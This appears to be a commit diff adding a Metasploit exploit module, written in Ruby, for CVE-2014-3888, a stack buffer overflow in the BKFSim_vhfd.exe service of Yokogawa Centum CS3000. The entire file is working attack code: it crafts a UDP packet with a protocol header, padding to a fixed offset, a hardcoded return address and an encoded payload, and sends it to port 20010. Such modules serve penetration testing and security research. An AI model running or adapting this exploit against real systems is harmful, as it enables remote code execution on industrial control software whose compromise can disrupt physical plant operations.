|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Udp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability |
| 18 | + exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create |
| 19 | + logs using functions like vsprintf and memcpy in a insecure way. This module has been |
| 20 | + tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Redsadic <julian.vilas[at]gmail.com>', |
| 25 | + 'juan vazquez' |
| 26 | + ], |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2014-3888'], |
| 30 | + ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], |
| 31 | + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], |
| 32 | + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] |
| 33 | + ], |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) |
| 37 | + 'DisableNops' => true, |
| 38 | + 'BadChars' => "\x00", |
| 39 | + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 40 | + }, |
| 41 | + 'Platform' => 'win', |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', |
| 45 | + { |
| 46 | + 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll |
| 47 | + 'Offset' => 438 |
| 48 | + } |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'May 23 2014', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + Opt::RPORT(20010) |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def exploit |
| 61 | + connect_udp |
| 62 | + |
| 63 | + sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header |
| 64 | + sploit << rand_text(target['Offset']) |
| 65 | + sploit << [target.ret].pack("V") |
| 66 | + sploit << payload.encoded |
| 67 | + |
| 68 | + print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") |
| 69 | + udp_sock.put(sploit) |
| 70 | + |
| 71 | + disconnect_udp |
| 72 | + end |
| 73 | + |
| 74 | +end |
| 75 | + |
0 commit comments